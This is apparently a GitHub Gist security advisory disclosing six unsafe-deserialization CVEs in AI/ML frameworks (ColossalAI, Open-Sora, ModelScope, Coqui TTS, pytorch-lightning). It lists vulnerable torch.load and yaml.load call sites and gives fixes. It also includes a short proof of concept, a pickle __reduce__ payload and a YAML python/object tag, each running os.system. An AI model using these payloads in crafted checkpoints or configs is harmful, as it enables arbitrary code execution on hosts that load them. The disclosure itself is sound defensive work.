Skip to content

Instantly share code, notes, and snippets.

@sgInnora
Created April 30, 2026 08:49
Show Gist options
  • Select an option

  • Save sgInnora/5aa1682c359a4f4ced53fc2408936e82 to your computer and use it in GitHub Desktop.

Select an option

Save sgInnora/5aa1682c359a4f4ced53fc2408936e82 to your computer and use it in GitHub Desktop.
AI/ML Framework Unsafe Deserialization: ColossalAI, Open-Sora, ModelScope, Coqui TTS, pytorch-lightning

Unsafe Deserialization in AI/ML Frameworks via torch.load() / yaml.load()

Reporter: Feng Ning, Innora Security Research (feng@innora.ai)
Disclosure: 2026-04-30

CVE Package Version Sink CVSS
CVE-2026-37562 ColossalAI ≤ 0.5.0 torch.load() 7.8
CVE-2026-37566 Open-Sora 1.3 torch.load() 7.8
CVE-2026-37567 ModelScope 2.0.0 torch.load() 300+ paths 7.8
CVE-2026-37568 ModelScope 2.0.0 yaml.load(Loader=yaml.Loader) 7.8
CVE-2026-37569 Coqui TTS 0.22.0 torch.load() 7.8
CVE-2026-37572 pytorch-lightning 2.6.2 torch.load(weights_only=False) 7.8

Six vulnerabilities, all CWE-502 (Deserialization of Untrusted Data). Control the model file path or serve a malicious checkpoint, and you get arbitrary code execution on the loading host.


Root Cause

torch.load() deserializes via Python pickle by default. PyTorch 2.0 introduced the safe form: torch.load(path, weights_only=True). Without that flag — either by explicitly passing weights_only=False or by omitting it entirely on older versions where False is the default — arbitrary Python objects go through deserialization unchecked.

yaml.load() with Loader=yaml.Loader is the same story. The !!python/object tag family is enough to run arbitrary Python code; yaml.safe_load disallows it entirely.


Affected Call Sites

CVE-2026-37562 — ColossalAI

# colossalai/utils/model/colo_init_context.py
state_dict = torch.load(checkpoint, map_location=map_location)

CVE-2026-37566 — Open-Sora

# core checkpoint loading — no weights_only=True
state_dict = torch.load(ckpt_path)

CVE-2026-37567/37568 — ModelScope

# 300+ torch.load() calls without weights_only=True
# yaml.load() with Loader=yaml.Loader in configuration parsing

CVE-2026-37569 — Coqui TTS

# TTS/utils/io.py
torch.load(model_path, map_location=map_location)

CVE-2026-37572 — pytorch-lightning

# src/lightning/pytorch/utilities/deepspeed.py (explicit)
torch.load(checkpoint_path, weights_only=False)

Proof of Concept

import torch, os, pickle

class Payload:
    def __reduce__(self):
        return (os.system, ("id > /tmp/pwned",))

torch.save(Payload(), "evil.ckpt")
# Running: torch.load("evil.ckpt") executes the payload
import yaml
yaml.load("!!python/object/apply:os.system ['id']", Loader=yaml.Loader)

Fix

# torch.load — safe form
torch.load(path, weights_only=True)

# yaml — safe form
yaml.safe_load(stream)  # or yaml.load(stream, Loader=yaml.SafeLoader)

Innora Security Research — https://innora.ai

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment